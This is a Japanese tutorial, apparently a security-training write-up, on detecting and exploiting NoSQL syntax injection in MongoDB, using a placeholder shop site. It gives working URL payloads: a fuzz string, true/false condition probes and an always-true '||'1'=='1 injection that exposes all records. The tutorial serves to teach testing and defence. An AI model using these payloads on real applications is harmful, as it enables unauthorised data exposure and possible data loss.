Hello there, ('ω')ノ
🧠 概要
NoSQL構文インジェクション(Syntax Injection)は、アプリケーションがNoSQLデータベースに送信するクエリ構文を「壊して」自分のクエリを注入し、不正に情報を取得したり、制限されたデータを表示させたりする攻撃です。SQLインジェクションと似た考え方ですが、NoSQLはJSON構文や独自の演算子を使うため、攻撃パターンが異なります。
🧪 テスト手法(MongoDB)
🌐 例:カテゴリ別の商品を表示するアプリ
通常のリクエスト:
https://insecure-website.com/product/lookup?category=fizzy
サーバー側では、MongoDBに対し以下のようなクエリが実行されると想定:
this.category == 'fizzy'
🔍 ステップ1:構文破壊用のFuzz文字列を注入
試すべきペイロード例(URLエンコード済み):
'%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24Foo%20%5cxYZ%00
該当リクエスト:
https://insecure-website.com/product/lookup?category='%22%60%7b%0d%0a%3b%24Foo%7d%0d%0a%24Foo%20%5cxYZ%00
結果の観察:
- レスポンスが変化すれば、構文が壊れてインジェクションが通っている可能性あり。
- 何も起きない場合でも、バリデーションやエラーメッセージに注目。
🔍 ステップ2:1文字ずつ注入して構文解釈を探る
例)シングルクォート '
を単体で注入:
https://insecure-website.com/product/lookup?category='
これが構文エラーになる → '
が構文上有効であると推測。
🧪 ステップ3:条件式の挙動を確認
false条件:
https://insecure-website.com/product/lookup?category=fizzy'+&&+0+&&+'x
true条件:
https://insecure-website.com/product/lookup?category=fizzy'+&&+1+&&+'x
- false → 表示内容が変わるなら条件分岐が影響している証拠。
- true → 通常通りの表示なら、構文注入が成功している。
💥 ステップ4:既存条件の上書き
最終目的:任意のデータを全件取得する
https://insecure-website.com/product/lookup?category=fizzy'||'1'=='1
結果クエリ:
this.category == 'fizzy' || '1' == '1'
'1' == '1'
は常に true → すべての商品が表示される
⚠️ 注意点
- 条件が常にtrueとなるインジェクションは、SELECT系なら安全でも、UPDATE/DELETEで使われていると重大なデータ消失を引き起こす可能性あり。
- クエリの使用箇所を特定せずに全体へ影響を与えるようなインジェクションは、開発環境やテスト環境でも慎重に扱うべきです。
✅ まとめ
- MongoDBなどのNoSQLでは、構文インジェクションで「構文崩壊→注入成功」の流れがポイント。
- まずは文字ごとの影響確認 → 条件の差異検出 → 真条件注入 の順で検証。
- 特に
||'1'=='1'
などの常に成立する条件式の注入は、データ露出の近道です。
🔐 「構文が崩れる=注入のチャンス」。NoSQLでは、構文が自由な分、守りも厳格である必要があります。
Best regards, (^^ゞ